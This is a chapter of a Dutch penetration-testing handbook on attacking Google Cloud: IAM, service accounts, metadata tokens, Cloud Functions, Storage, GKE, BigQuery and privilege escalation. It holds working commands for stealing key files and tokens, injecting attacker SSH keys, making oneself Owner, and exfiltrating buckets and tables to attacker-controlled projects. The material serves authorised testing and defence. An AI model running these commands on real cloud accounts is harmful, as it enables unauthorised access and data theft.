│   └──────────────────────────────────────────────────────────┘   │
└──────────────────────────────────────────────────────────────────┘
Laag Beschrijving Analogie
Organization De top van de boom. Gebonden aan een Google Workspace of Cloud Identity domain Het land
Folder Optionele groepering. Kan genest worden (max 10 diep) De provincies
Project De kerncontainer. Elke resource leeft in een project. Facturatie, API’s en IAM zijn project-scoped De gemeenten
Resource De werkelijke diensten: VMs, buckets, databases, functions De gebouwen

Het cruciale verschil met Azure: in GCP is het project de primaire beveiligingsgrens. IAM-policies worden op projectniveau toegepast. Resources in verschillende projecten zijn standaard geisoleerd. Dit is een fundamenteel beter beveiligingsmodel dan Azure’s resource groups (die geen echte beveiligingsgrens zijn), maar het heeft zijn eigen zwaktes.

# Huidige configuratie bekijken
gcloud config list

# Huidige identity
gcloud auth list

# Beschikbare projecten
gcloud projects list

# Van project wisselen
gcloud config set project PROJECT_ID

# Organization details (als je org-level rechten hebt)
gcloud organizations list

# Folders in de organisatie
gcloud resource-manager folders list --organization=ORG_ID

5.1.3 Het IAM-Model

GCP IAM werkt met een model van allow policies en (sinds 2022) deny policies. Een allow policy is een verzameling bindings die een role koppelen aan een of meer members op een bepaalde scope.

Allow Policy = {
    bindings: [
        {
            role: "roles/storage.objectViewer",
            members: [
                "user:alice@example.com",
                "serviceAccount:my-sa@project.iam.gserviceaccount.com"
            ],
            condition: { ... }  // optioneel
        }
    ]
}

Deny policies zijn het omgekeerde: ze blokkeren specifieke permissions, ongeacht wat allow policies toestaan. Deny policies winnen altijd van allow policies. Ze zijn nieuwer en minder wijdverbreid, maar organisaties die ze gebruiken, hebben een significant beter beveiligingsniveau.

Overerving: policies erven naar beneden door de hierarchie. Een binding op organizatie-niveau geldt voor alle folders, projecten en resources daaronder. Dit is zowel een kracht (centraal beheer) als een zwakte (een te brede binding op org-niveau geeft toegang tot alles).

# IAM policy van een project bekijken
gcloud projects get-iam-policy PROJECT_ID

# IAM policy van de organisatie
gcloud organizations get-iam-policy ORG_ID

# IAM policy van een specifieke resource (bijv. een bucket)
gsutil iam get gs://BUCKET_NAME

# Deny policies (als je ze mag lezen)
gcloud iam policies list --attachment-point="cloudresourcemanager.googleapis.com/projects/PROJECT_ID" --kind=denypolicies

5.1.4 Service Accounts: De Stille Werknemers

Service accounts zijn het meest misbruikte concept in GCP. Ze zijn de identiteit waarmee code draait — VMs, Cloud Functions, GKE pods, CI/CD pipelines. In tegenstelling tot Azure’s Managed Identities, die relatief beperkt zijn in hun functionaliteit, zijn GCP service accounts volwaardige IAM-principals met potentieel onbeperkte rechten.

Elk project heeft standaard: - Een default Compute Engine service account (PROJECT_NUMBER-compute@developer.gserviceaccount.com) - Een default App Engine service account (als App Engine is ingeschakeld) - Google-managed service accounts (voor interne GCP-diensten)

Het default Compute Engine service account heeft standaard de Editor-rol op het project. Lees dat nog een keer: Editor op het hele project. Dat is bijna volledige controle. Elke VM die wordt aangemaakt zonder een specifiek service account te configureren, draait met die rechten.

Dit is alsof je een schoonmaakbedrijf inhuurt en ze automatisch de sleutel geeft van elke kamer in het gebouw, inclusief de directiekamer en de serverruimte. “Omdat het makkelijker is.”

5.2 GCP IAM

5.2.1 Het Drielagige Rollenmodel

GCP kent drie typen rollen:

Type Beschrijving Voorbeeld Pentest-relevantie
Primitive (basic) Brede rollen uit het oorspronkelijke GCP Owner, Editor, Viewer Te breed, altijd een bevinding
Predefined Door Google gedefinieerde fijnmazige rollen roles/storage.objectViewer Standaard, controleer op overprivileging
Custom Door de organisatie zelf gedefinieerd projects/PROJECT/roles/customRole Vaak fout geconfigureerd

De primitive rollen verdienen speciale aandacht:

Primitive Role Permissions Het probleem
Viewer Lezen van alle resources Ziet alles, inclusief gevoelige configuratie
Editor Lezen + schrijven van alle resources Kan vrijwel alles, behalve IAM wijzigen
Owner Editor + IAM-beheer + facturatie Volledige controle

Google raadt expliciet af om primitive rollen te gebruiken. In de praktijk zijn ze overal. Het is makkelijker om iemand Editor te geven dan uit te zoeken welke van de 900+ predefined rollen het juiste is. En beheerders kiezen altijd de weg van de minste weerstand — zelfs als die weg door het mijnenveld loopt.

5.2.2 Bindings en Conditions

Een IAM binding koppelt een rol aan een of meer members. Members kunnen zijn:

user:alice@example.com                           # Google account
serviceAccount:sa@project.iam.gserviceaccount.com  # Service account
group:admins@example.com                          # Google Group
domain:example.com                                # Iedereen in het domein
allUsers                                           # Letterlijk iedereen op internet
allAuthenticatedUsers                              # Iedereen met een Google account

Die laatste twee — allUsers en allAuthenticatedUsers — zijn de bron van een onevenredig groot aantal beveiligingsincidenten. Een binding met allUsers maakt een resource publiek toegankelijk voor het hele internet. Geen authenticatie nodig. Geen uitnodiging nodig. Gewoon de URL kennen.

# Zoek naar bindings met allUsers of allAuthenticatedUsers in een project
gcloud projects get-iam-policy PROJECT_ID --format=json | \
    python3 -c "
import sys,json
policy = json.load(sys.stdin)
for binding in policy.get('bindings', []):
    for member in binding.get('members', []):
        if member in ('allUsers', 'allAuthenticatedUsers'):
            print(f\"[!] {binding['role']} -> {member}\")
"

# Controleer specifieke resources
# Storage buckets
gsutil iam get gs://BUCKET_NAME 2>/dev/null | grep -E "allUsers|allAuthenticatedUsers"

# Cloud Functions
gcloud functions get-iam-policy FUNCTION_NAME --region=REGION 2>/dev/null | \
    grep -E "allUsers|allAuthenticatedUsers"

IAM Conditions voegen context toe aan bindings: “deze rol geldt alleen als het request vanuit dit IP-bereik komt” of “alleen voor resources met dit label.” Conditions zijn krachtig maar complex, en in de praktijk zelden gebruikt. De meeste organisaties die we testen hebben nul conditions in hun policies.

5.2.3 Effectieve Permissions Bepalen

Door overerving kan een principal permissions hebben die niet direct zichtbaar zijn in het project-policy. Je moet de hele hierarchie bekijken:

# Welke rollen heb ik op dit project?
gcloud projects get-iam-policy PROJECT_ID \
    --flatten="bindings[].members" \
    --filter="bindings.members:user:$(gcloud config get-value account)" \
    --format="table(bindings.role)"

# Welke permissions geeft een specifieke rol?
gcloud iam roles describe roles/storage.admin --format="json(includedPermissions)"

# Test of ik een specifieke permission heb
gcloud asset search-all-iam-policies \
    --scope="projects/PROJECT_ID" \
    --query="policy:$(gcloud config get-value account)" \
    --format="table(resource,policy.bindings.role)"

5.3 Service Account Exploitation

5.3.1 De Sleutels van het Koninkrijk

Service accounts zijn de favoriete doelwitten in GCP. Ze hebben vaak brede rechten, hun credentials zijn programmatisch bruikbaar, en er is zelden monitoring op hun gebruik.

5.3.2 Key File Theft

Service account keys zijn JSON-bestanden die volledige authenticatie mogelijk maken. Ze worden aangemaakt voor CI/CD pipelines, scripts en third-party integraties, en vervolgens opgeslagen op plaatsen waar ze niet horen te zijn.

# Service accounts in een project
gcloud iam service-accounts list --project=PROJECT_ID

# Keys van een service account (toont alleen metadata, niet de private key)
gcloud iam service-accounts keys list \
    --iam-account=SA@PROJECT.iam.gserviceaccount.com

# Zoek naar key files op het bestandssysteem
find / -name "*.json" -exec grep -l "private_key" {} \; 2>/dev/null
find / -name "*.json" -exec grep -l "client_email.*iam.gserviceaccount.com" {} \; 2>/dev/null

# Veelvoorkomende locaties
ls -la ~/.config/gcloud/
ls -la /etc/google/
ls -la /var/run/secrets/
env | grep -i "GOOGLE_APPLICATION_CREDENTIALS"

# Als je een key file hebt: authenticeren
gcloud auth activate-service-account --key-file=stolen-key.json

# Of via environment variable
export GOOGLE_APPLICATION_CREDENTIALS="/pad/naar/stolen-key.json"
gcloud auth list  # Verifieer

Service account key files worden aangetroffen op de merkwaardigste plaatsen: in git repositories, in Docker images, in CI/CD-configuratie, in Slack-kanalen, op developer-laptops, in gedeelde Google Drives. Het is alsof je de sleutel van de kluis op het prikbord in de kantine hangt en er “NIET KOPIËREN” op schrijft.

5.3.3 Service Account Impersonation

In GCP kan een principal een service account impersonaten — handelen namens dat service account — als hij de iam.serviceAccountTokenCreator-rol heeft. Dit is een buitengewoon krachtige capability die vaak over het hoofd wordt gezien.

# Controleer of je een service account kunt impersonaten
gcloud iam service-accounts get-iam-policy SA@PROJECT.iam.gserviceaccount.com \
    --format="json(bindings)"

# Impersonatie: een access token genereren namens het service account
gcloud auth print-access-token \
    --impersonate-service-account=SA@PROJECT.iam.gserviceaccount.com

# Gcloud commando's uitvoeren als het service account
gcloud compute instances list \
    --impersonate-service-account=SA@PROJECT.iam.gserviceaccount.com

# Een reeks impersonaties (chaining):
# User -> SA-A -> SA-B (als SA-A tokenCreator heeft op SA-B)
gcloud auth print-access-token \
    --impersonate-service-account=SA_A@PROJECT.iam.gserviceaccount.com,SA_B@PROJECT.iam.gserviceaccount.com

Impersonatie-chains zijn bijzonder gevaarlijk. Als Service Account A tokenCreator heeft op Service Account B, en B heeft Owner op het project, dan heb je via A effectief Owner — zonder dat A direct die rol heeft. Het is een indirect privilege escalation pad dat niet zichtbaar is in de IAM policy van het project.

5.3.4 Default Service Accounts

Default service accounts zijn het laaghangende fruit van GCP-pentesten. Ze worden automatisch aangemaakt, automatisch gebruikt, en zelden geaudit.

# Default Compute Engine service account
# Format: PROJECT_NUMBER-compute@developer.gserviceaccount.com
# Standaardrollen: Editor (!)

gcloud compute instances describe INSTANCE_NAME --zone=ZONE \
    --format="json(serviceAccounts)"

# Welke scopes heeft de VM?
gcloud compute instances describe INSTANCE_NAME --zone=ZONE \
    --format="json(serviceAccounts[0].scopes)"

De interactie tussen IAM roles en access scopes is een bron van verwarring. Access scopes zijn een legacy-mechanisme dat de OAuth scopes beperkt waarvoor een VM tokens kan aanvragen. IAM roles bepalen wat het service account mag doen. De effectieve permissions zijn de intersectie van beide.

In de praktijk: als een VM de scope https://www.googleapis.com/auth/cloud-platform heeft (wat steeds vaker de standaard is), worden scopes irrelevant en gelden alleen de IAM roles.

5.3.5 Workload Identity Federation

Workload Identity Federation is Google’s antwoord op key files. In plaats van een statische key, federeert een extern systeem (AWS, Azure, GitHub Actions, etc.) zijn identiteit naar GCP. Geen key file, geen theft risk.

# Workload identity pools bekijken
gcloud iam workload-identity-pools list --location=global

# Pool details
gcloud iam workload-identity-pools describe POOL_ID --location=global

# Providers in de pool
gcloud iam workload-identity-pools providers list \
    --workload-identity-pool=POOL_ID --location=global

IB Tip: Als je workload identity federation vindt in een omgeving, controleer de attribute conditions. Zwakke conditions (of geen conditions) maken het mogelijk dat elke workload vanuit het externe systeem een token kan verkrijgen.

5.4 Compute Engine

5.4.1 De Virtuele Machines

Compute Engine is GCP’s IaaS-dienst: virtuele machines in de cloud. Voor pentesters zijn VMs interessant om drie redenen: ze draaien code (command execution), ze hebben service accounts (credential theft), en ze hebben metadata (informatieverzameling).

5.4.2 De Metadata Server

Net als Azure’s IMDS heeft GCP een metadata server op 169.254.169.254. Dit endpoint is bereikbaar vanuit elke VM en bevat waardevolle informatie:

# Volledige metadata dump
curl -s -H "Metadata-Flavor: Google" \
    "http://169.254.169.254/computeMetadata/v1/?recursive=true" | \
    python3 -m json.tool

# Service account en scopes
curl -s -H "Metadata-Flavor: Google" \
    "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email"

curl -s -H "Metadata-Flavor: Google" \
    "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes"

# Access token ophalen (de hoofdprijs)
curl -s -H "Metadata-Flavor: Google" \
    "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token" | \
    python3 -m json.tool

# Project-wide metadata (SSH keys, startup scripts)
curl -s -H "Metadata-Flavor: Google" \
    "http://169.254.169.254/computeMetadata/v1/project/attributes/?recursive=true"

# Instance-specifieke metadata
curl -s -H "Metadata-Flavor: Google" \
    "http://169.254.169.254/computeMetadata/v1/instance/attributes/?recursive=true"

# Netwerk interfaces en IP-adressen
curl -s -H "Metadata-Flavor: Google" \
    "http://169.254.169.254/computeMetadata/v1/instance/network-interfaces/?recursive=true" | \
    python3 -m json.tool

De Metadata-Flavor: Google header is verplicht. Net als Azure’s Metadata: true voorkomt dit eenvoudige SSRF-aanvallen vanuit browsers. Maar vanuit een shell of een SSRF die custom headers toestaat, is het geen enkele belemmering.

5.4.3 Startup Scripts

Startup scripts worden uitgevoerd wanneer een VM opstart. Ze staan opgeslagen in de instance metadata of in Cloud Storage, en ze bevatten vaak credentials, configuratie-informatie en soms wachtwoorden in cleartext.

# Startup script van de huidige VM
curl -s -H "Metadata-Flavor: Google" \
    "http://169.254.169.254/computeMetadata/v1/instance/attributes/startup-script"

# Startup scripts van andere VMs (vereist compute.instances.get)
gcloud compute instances describe INSTANCE_NAME --zone=ZONE \
    --format="value(metadata.items[key='startup-script'].value)"

# Zoek naar startup scripts met credentials
for instance in $(gcloud compute instances list --format="csv[no-heading](name,zone)"); do
    NAME=$(echo $instance | cut -d, -f1)
    ZONE=$(echo $instance | cut -d, -f2)
    echo "=== $NAME ($ZONE) ==="
    gcloud compute instances describe $NAME --zone=$ZONE \
        --format="value(metadata.items[key='startup-script'].value)" 2>/dev/null | \
        grep -iE "password|secret|key|token|credential" || echo "(niets gevonden)"
done

5.4.4 Serial Console

De serial console geeft directe toegang tot de console-output van een VM. Als serial port logging is ingeschakeld, kun je historische console-output lezen — inclusief boot-berichten, loginprompts en soms wachtwoorden die tijdens het opstarten worden gelogd.

# Serial console output lezen (vereist compute.instances.getSerialPortOutput)
gcloud compute instances get-serial-port-output INSTANCE_NAME \
    --zone=ZONE --port=1

5.4.5 SSH Key Injection

GCP beheert SSH-toegang via metadata. SSH public keys kunnen worden toegevoegd op project-niveau (alle VMs) of instance-niveau (specifieke VM). Als je compute.instances.setMetadata of compute.projects.setCommonInstanceMetadata hebt, kun je je eigen SSH-key injecteren.

# Project-wide SSH key toevoegen (alle VMs!)
gcloud compute project-info add-metadata \
    --metadata-from-file ssh-keys=<(
        gcloud compute project-info describe --format="value(commonInstanceMetadata.items.filter(key:ssh-keys).firstof(value))"
        echo "attacker:$(cat ~/.ssh/id_rsa.pub)"
    )

# Instance-specifieke SSH key toevoegen
gcloud compute instances add-metadata INSTANCE_NAME \
    --zone=ZONE \
    --metadata-from-file ssh-keys=<(
        echo "attacker:$(cat ~/.ssh/id_rsa.pub)"
    )

# Vervolgens: SSH naar de VM
ssh attacker@INSTANCE_IP

Let op: Project-wide SSH key-injectie is een ingrijpende actie die alle VMs in het project beinvloedt. Gebruik dit alleen na expliciete toestemming en documenteer de wijziging zodat hij na de test kan worden teruggedraaid.

5.4.6 Access Scopes versus IAM

Een veelgemaakte fout is vertrouwen op access scopes als beveiligingsmechanisme:

# VM met beperkte scopes maar breed IAM
# Scopes: https://www.googleapis.com/auth/compute.readonly
# IAM: Editor op het project

# Het token dat de metadata server geeft, heeft de beperkte scope
# MAAR: als je een nieuw token aanvraagt via de service account key,
# zijn de scopes irrelevant

# Check: heeft het service account key files?
gcloud iam service-accounts keys list \
    --iam-account=$(curl -s -H "Metadata-Flavor: Google" \
    "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email")

Het advies is simpel: vertrouw niet op scopes. Gebruik IAM met het principle of least privilege. Scopes zijn een extra laag, geen vervanging.

5.5 Cloud Functions

5.5.1 Serverless, Niet Securityless

Cloud Functions zijn Google’s serverless compute-dienst: je schrijft een functie, Google regelt de infrastructuur. Het is elegant, het is schaalbaar, en het is een potentieel aanvalsvector als de functie kwetsbaar is of de configuratie zwak.

5.5.2 Function Invocation

# Alle Cloud Functions in een project
gcloud functions list

# Details van een functie
gcloud functions describe FUNCTION_NAME --region=REGION

# Controleer of de functie publiek aanroepbaar is
gcloud functions get-iam-policy FUNCTION_NAME --region=REGION | \
    grep -E "allUsers|allAuthenticatedUsers"

# Publieke functie aanroepen
curl -s "https://REGION-PROJECT_ID.cloudfunctions.net/FUNCTION_NAME"

# Functie aanroepen met authenticatie
curl -s -H "Authorization: Bearer $(gcloud auth print-identity-token)" \
    "https://REGION-PROJECT_ID.cloudfunctions.net/FUNCTION_NAME"

5.5.3 Environment Variables en Secrets

Cloud Functions gebruiken environment variables voor configuratie. Die variables bevatten regelmatig database-credentials, API-keys en andere gevoelige informatie.

# Environment variables van een functie ophalen (als je describe rechten hebt)
gcloud functions describe FUNCTION_NAME --region=REGION \
    --format="json(environmentVariables,buildEnvironmentVariables)"

# Alle functies met hun environment variables
for func in $(gcloud functions list --format="csv[no-heading](name,region)" 2>/dev/null); do
    NAME=$(echo $func | cut -d, -f1)
    REGION=$(echo $func | cut -d, -f2)
    echo "=== $NAME ($REGION) ==="
    gcloud functions describe $NAME --region=$REGION \
        --format="json(environmentVariables)" 2>/dev/null
done

Google biedt Secret Manager als alternatief voor environment variables, maar de migratie is traag. De meeste organisaties die we testen hebben nog steeds credentials in environment variables. Het is alsof je weet dat je je voordeursleutel niet onder de mat moet leggen, maar het toch doet omdat het een kwartier kost om een sleutelkastje te installeren.

5.5.4 Source Code Access

Als je cloudfunctions.functions.get permission hebt, kun je de broncode van een Cloud Function downloaden:

# Source code URL ophalen
gcloud functions describe FUNCTION_NAME --region=REGION \
    --format="value(sourceArchiveUrl)"

# Of: via de build informatie
gcloud functions describe FUNCTION_NAME --region=REGION \
    --format="json(buildConfig.source)"

# Source code downloaden (als het een Cloud Storage URL is)
gsutil cp gs://BUCKET/source.zip ./source.zip
unzip source.zip -d ./function_source/

Broncode-analyse onthult vaak hardcoded credentials, onveilige API-aanroepen, en logica-fouten die vanuit een black-box test niet zichtbaar zouden zijn.

5.5.5 Event Injection

Cloud Functions kunnen worden getriggerd door events: HTTP-requests, Pub/Sub-berichten, Cloud Storage-wijzigingen, Firestore-updates. Als je berichten kunt publiceren op een Pub/Sub topic dat een functie triggert, kun je willekeurige input naar die functie sturen.

# Pub/Sub topics in het project
gcloud pubsub topics list

# Controleer of je kunt publiceren
gcloud pubsub topics publish TOPIC_NAME \
    --message='{"test": "injection"}'

# Als de functie de input niet valideert, kun je mogelijk:
# - Command injection via shell-aanroepen
# - Path traversal via bestandsverwerking
# - SSRF via URL-parameters

5.6 Cloud Storage

5.6.1 De Digitale Opslagplaats

Cloud Storage is GCP’s object storage-dienst, equivalent aan AWS S3 en Azure Blob Storage. Het is waar de data leeft: backups, logs, uploads, exports, machine learning-datasets, website-assets.

5.6.2 Bucket Enumeratie

# Alle buckets in het project
gsutil ls

# Inhoud van een bucket
gsutil ls gs://BUCKET_NAME/
gsutil ls -la gs://BUCKET_NAME/  # Met details (grootte, datum, storage class)

# Recursief alle bestanden
gsutil ls -r gs://BUCKET_NAME/

# Publieke buckets checken (geen authenticatie)
curl -s "https://storage.googleapis.com/TARGET_BUCKET/"
curl -s "https://storage.googleapis.com/storage/v1/b/TARGET_BUCKET/o"

# Brute-force bucketnamen
for name in backup backups data files uploads logs exports database prod staging; do
    STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
        "https://storage.googleapis.com/storage/v1/b/${COMPANY}-${name}")
    [ "$STATUS" -ne 404 ] && echo "[+] Bucket exists: ${COMPANY}-${name} (HTTP $STATUS)"
done

5.6.3 ACL versus IAM

Cloud Storage ondersteunt twee autorisatiemechanismen:

Mechanisme Beschrijving Aanbeveling
ACLs Per-object en per-bucket access control lists Legacy, vermijd
IAM Project/bucket-level policies via standaard IAM Aanbevolen
Uniform bucket-level access Alleen IAM, ACLs uitgeschakeld Best practice

Het probleem: als “Uniform bucket-level access” niet is ingeschakeld, kunnen individuele objecten hun eigen ACLs hebben die afwijken van het bucket-beleid. Een bucket kan gerestrict zijn, maar een individueel object kan publiek leesbaar zijn.

# Check bucket access control type
gsutil uniformbucketlevelaccess get gs://BUCKET_NAME

# ACLs van een bucket
gsutil acl get gs://BUCKET_NAME

# ACLs van een specifiek object
gsutil acl get gs://BUCKET_NAME/bestand.txt

# IAM policy van een bucket
gsutil iam get gs://BUCKET_NAME

5.6.4 Signed URLs

Signed URLs geven tijdelijke toegang tot private objecten. Net als Azure SAS tokens worden ze vaak te breed en te lang geldig gemaakt:

# Signed URL genereren (als je sigBlob rechten hebt)
gsutil signurl -d 1h -m GET sa-key.json gs://BUCKET/geheim-bestand.txt

# Een signed URL gebruiken (geen authenticatie nodig)
curl -s "https://storage.googleapis.com/BUCKET/geheim-bestand.txt?X-Goog-Signature=..."

5.6.5 Data Exfiltratie via Storage

Als je schrijfrechten hebt op een bucket en leesrechten op gevoelige data, kun je de data kopieren naar een bucket die je controleert:

# Kopieer data naar een eigen bucket
gsutil cp gs://TARGET_BUCKET/gevoelig-bestand.sql gs://ATTACKER_BUCKET/

# Of: download lokaal
gsutil cp gs://TARGET_BUCKET/gevoelig-bestand.sql ./

# Bulk download
gsutil -m cp -r gs://TARGET_BUCKET/ ./exfil/

Let op: Cloud Storage access wordt gelogd via Data Access audit logs (als deze zijn ingeschakeld). In veel organisaties zijn Data Access logs uitgeschakeld vanwege kosten. Controleer dit in je enumeratiefase: gcloud logging sinks list toont je waar logs naartoe gaan.

5.7 GKE (Google Kubernetes Engine)

5.7.1 Containers in de Cloud

GKE is Google’s managed Kubernetes-dienst. Kubernetes is complex genoeg op zichzelf; GKE voegt daar een laag GCP IAM-integratie aan toe. Het resultaat is een systeem waar de interactie tussen Kubernetes RBAC en GCP IAM een bron is van misconfiguraties die aanvallers graag exploiteren.

5.7.2 GKE Enumeratie

# GKE clusters in het project
gcloud container clusters list

# Cluster details
gcloud container clusters describe CLUSTER_NAME --zone=ZONE

# Credentials ophalen voor kubectl
gcloud container clusters get-credentials CLUSTER_NAME --zone=ZONE

# Kubernetes versie en configuratie
kubectl cluster-info
kubectl version

# Namespaces
kubectl get namespaces

# Pods in alle namespaces
kubectl get pods --all-namespaces

# Services
kubectl get services --all-namespaces

# Secrets (als je ze mag lezen)
kubectl get secrets --all-namespaces

5.7.3 Kubernetes RBAC

Kubernetes heeft zijn eigen RBAC-systeem, gescheiden van GCP IAM:

# Eigen rechten controleren
kubectl auth can-i --list

# Specifieke permission checken
kubectl auth can-i create pods
kubectl auth can-i get secrets

# ClusterRoles en ClusterRoleBindings
kubectl get clusterroles
kubectl get clusterrolebindings

# Wie heeft cluster-admin?
kubectl get clusterrolebindings -o json | \
    python3 -c "
import sys,json
data = json.load(sys.stdin)
for item in data.get('items',[]):
    if item.get('roleRef',{}).get('name') == 'cluster-admin':
        subjects = item.get('subjects',[])
        for s in subjects:
            print(f\"{s.get('kind')}: {s.get('name')}\")
"

5.7.4 Pod Security en Escalatie

Pods met misconfiguraties zijn de primaire escalatievector in GKE:

# Privileged pods vinden
kubectl get pods --all-namespaces -o json | \
    python3 -c "
import sys,json
pods = json.load(sys.stdin)
for pod in pods.get('items',[]):
    ns = pod['metadata']['namespace']
    name = pod['metadata']['name']
    for c in pod['spec'].get('containers',[]):
        sc = c.get('securityContext',{})
        if sc.get('privileged'):
            print(f'[!] Privileged: {ns}/{name}/{c[\"name\"]}')
        if sc.get('runAsUser') == 0:
            print(f'[!] Root: {ns}/{name}/{c[\"name\"]}')
"

# Pods met hostPath mounts (toegang tot node filesystem)
kubectl get pods --all-namespaces -o json | \
    python3 -c "
import sys,json
pods = json.load(sys.stdin)
for pod in pods.get('items',[]):
    ns = pod['metadata']['namespace']
    name = pod['metadata']['name']
    for v in pod['spec'].get('volumes',[]):
        hp = v.get('hostPath')
        if hp:
            print(f'[!] hostPath {hp[\"path\"]}: {ns}/{name}')
"

5.7.5 Node Service Account

Elke GKE-node is een Compute Engine VM met een service account. Als je vanuit een pod kunt ontsnappen naar de node (via een privileged container, hostPath mount, of kernel exploit), heb je toegang tot het service account van de node.

# Vanuit een pod: controleer of je de metadata server kunt bereiken
curl -s -H "Metadata-Flavor: Google" \
    "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token" | \
    python3 -m json.tool

# Als Workload Identity is geconfigureerd, krijg je het pod's service account
# Als Workload Identity NIET is geconfigureerd, krijg je het node's service account
# (dat vaak veel bredere rechten heeft)

5.7.6 Metadata Concealment

GKE biedt “Metadata Concealment” als beveiligingsmaatregel: het blokkeert toegang tot bepaalde metadata-endpoints vanuit pods. Maar het is optioneel en niet standaard ingeschakeld op oudere clusters.

# Controleer of metadata concealment actief is
gcloud container clusters describe CLUSTER_NAME --zone=ZONE \
    --format="json(nodeConfig.workloadMetadataConfig)"

# Als workloadMetadataConfig.mode = "GKE_METADATA" → Workload Identity actief
# Als niet geconfigureerd → metadata server volledig bereikbaar vanuit pods

De beste verdediging is Workload Identity: elke Kubernetes service account wordt gekoppeld aan een GCP service account met minimale rechten. Geen node-level credentials meer beschikbaar vanuit pods.

5.8 BigQuery en Data Services

5.8.1 Het Datawarehouse

BigQuery is Google’s serverless data warehouse. Het bevat vaak de kroonjuwelen van een organisatie: klantdata, financiele gegevens, analytische datasets, machine learning-trainingsdata. Als een aanvaller toegang krijgt tot BigQuery, is de kans groot dat hij bij de meest gevoelige data van de organisatie is.

5.8.2 BigQuery Enumeratie

# Datasets in het huidige project
bq ls

# Datasets in een ander project (als je cross-project access hebt)
bq ls --project_id=OTHER_PROJECT

# Tabellen in een dataset
bq ls DATASET_NAME

# Tabelschema (welke kolommen, welke types)
bq show --schema DATASET_NAME.TABLE_NAME

# Preview van data (eerste 10 rijen)
bq head -n 10 DATASET_NAME.TABLE_NAME

# Query uitvoeren
bq query --use_legacy_sql=false \
    'SELECT * FROM `PROJECT.DATASET.TABLE` LIMIT 100'

5.8.3 Cross-Project Access

BigQuery ondersteunt cross-project queries: als je leesrechten hebt op een dataset in een ander project, kun je er direct queries op uitvoeren. Dit is een veelgebruikt patroon voor gedeelde datasets, maar het creëert ook aanvalspaden die niet zichtbaar zijn in het project-policy.

# IAM policy van een dataset
bq show --format=prettyjson DATASET_NAME | \
    python3 -c "
import sys,json
data = json.load(sys.stdin)
for entry in data.get('access',[]):
    role = entry.get('role','')
    entity = entry.get('userByEmail','') or entry.get('groupByEmail','') or \
             entry.get('specialGroup','') or entry.get('domain','')
    print(f'{role}: {entity}')
"

5.8.4 Data Exfiltratie

# Export naar Cloud Storage (als je schrijfrechten hebt op een bucket)
bq extract --destination_format=CSV \
    PROJECT:DATASET.TABLE \
    gs://ATTACKER_BUCKET/exfil/table_export_*.csv

# Of: query resultaten opslaan
bq query --use_legacy_sql=false \
    --destination_table=ATTACKER_PROJECT:ATTACKER_DATASET.stolen_data \
    'SELECT * FROM `VICTIM_PROJECT.DATASET.TABLE`'

5.8.5 Overige Data Services

GCP heeft een ecosysteem aan dataservices, elk met hun eigen access control:

Service Data type Pentest-relevantie
Cloud SQL Relationele databases (MySQL, PostgreSQL, SQL Server) Connection strings, publieke IP’s
Cloud Spanner Gedistribueerde relationele database Zelden publiek, maar brede IAM-rechten
Firestore NoSQL document database Vaak gebruikt door mobile apps, soms publiek
Bigtable Wide-column NoSQL Grote datasets, analytics
Cloud Datastore Legacy NoSQL Vervangen door Firestore, nog in gebruik
Memorystore In-memory (Redis/Memcached) Cache poisoning, session hijacking
# Cloud SQL instances
gcloud sql instances list

# Cloud SQL details (let op publieke IP!)
gcloud sql instances describe INSTANCE_NAME \
    --format="json(ipAddresses,settings.ipConfiguration)"

# Firestore data lezen (als je rechten hebt)
gcloud firestore documents list --collection=COLLECTION_NAME

5.9 Privilege Escalation in GCP

5.9.1 De Escalatieladder

Privilege escalation in GCP volgt andere patronen dan in on-premises AD. Er zijn geen Group Policy-misconfigurations of Kerberos delegation-abuses. In plaats daarvan draait het om IAM-permissions die meer macht geven dan de beheerder bedoelde.

Rhino Security Labs publiceerde een uitgebreide lijst van GCP privilege escalation-methoden. De meest impactvolle:

5.9.2 setIamPolicy

Als je setIamPolicy permission hebt op een resource (project, folder, org), kun je jezelf elke rol geven:

# Controleer of je setIamPolicy hebt
gcloud projects get-iam-policy PROJECT_ID --format=json | \
    python3 -c "
import sys,json
# Dit checkt alleen de huidige bindings, niet de effectieve permissions
# Gebruik 'gcloud asset analyze-iam-policy' voor complete analyse
policy = json.load(sys.stdin)
for b in policy.get('bindings',[]):
    print(f\"{b['role']}: {', '.join(b['members'])}\")"

# Jezelf Owner maken (als je setIamPolicy hebt)
gcloud projects add-iam-policy-binding PROJECT_ID \
    --member="user:$(gcloud config get-value account)" \
    --role="roles/owner"

5.9.3 actAs Permission

iam.serviceAccounts.actAs is de meest onderschatte permission in GCP. Het stelt je in staat om resources aan te maken die draaien als een service account. Als dat service account meer rechten heeft dan jij, is dat privilege escalation.

# Scenario: je hebt compute.instances.create + iam.serviceAccounts.actAs
# Het doel-service account heeft Owner

# Maak een VM aan met het hoog-geprivilegieerde service account
gcloud compute instances create escalation-vm \
    --zone=us-central1-a \
    --service-account=high-priv-sa@PROJECT.iam.gserviceaccount.com \
    --scopes=cloud-platform \
    --metadata=startup-script='#!/bin/bash
curl -s -H "Metadata-Flavor: Google" \
    "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token" > /tmp/token.json
# Exfiltreer het token naar een attacker-controlled endpoint'

# Of: maak een Cloud Function met het service account
gcloud functions deploy escalation-func \
    --runtime=python311 \
    --trigger-http \
    --allow-unauthenticated \
    --service-account=high-priv-sa@PROJECT.iam.gserviceaccount.com \
    --entry-point=main \
    --source=./evil_function/

5.9.4 Service Account Key Creation

Als je iam.serviceAccountKeys.create hebt op een service account, kun je een nieuwe key aanmaken en downloaden — waarmee je permanent als dat service account kunt authenticeren:

# Nieuwe key aanmaken voor een hoog-geprivilegieerd service account
gcloud iam service-accounts keys create stolen-key.json \
    --iam-account=high-priv-sa@PROJECT.iam.gserviceaccount.com

# Authenticeren met de key
gcloud auth activate-service-account --key-file=stolen-key.json

# Verifieer
gcloud auth list
gcloud projects get-iam-policy PROJECT_ID

5.9.5 Custom Roles met Escalatiepotentieel

Custom roles kunnen permissions bevatten die samen meer macht geven dan de maker bedoelde:

# Alle custom roles in het project
gcloud iam roles list --project=PROJECT_ID

# Details van een custom role
gcloud iam roles describe ROLE_ID --project=PROJECT_ID

# Zoek naar gevaarlijke combinaties
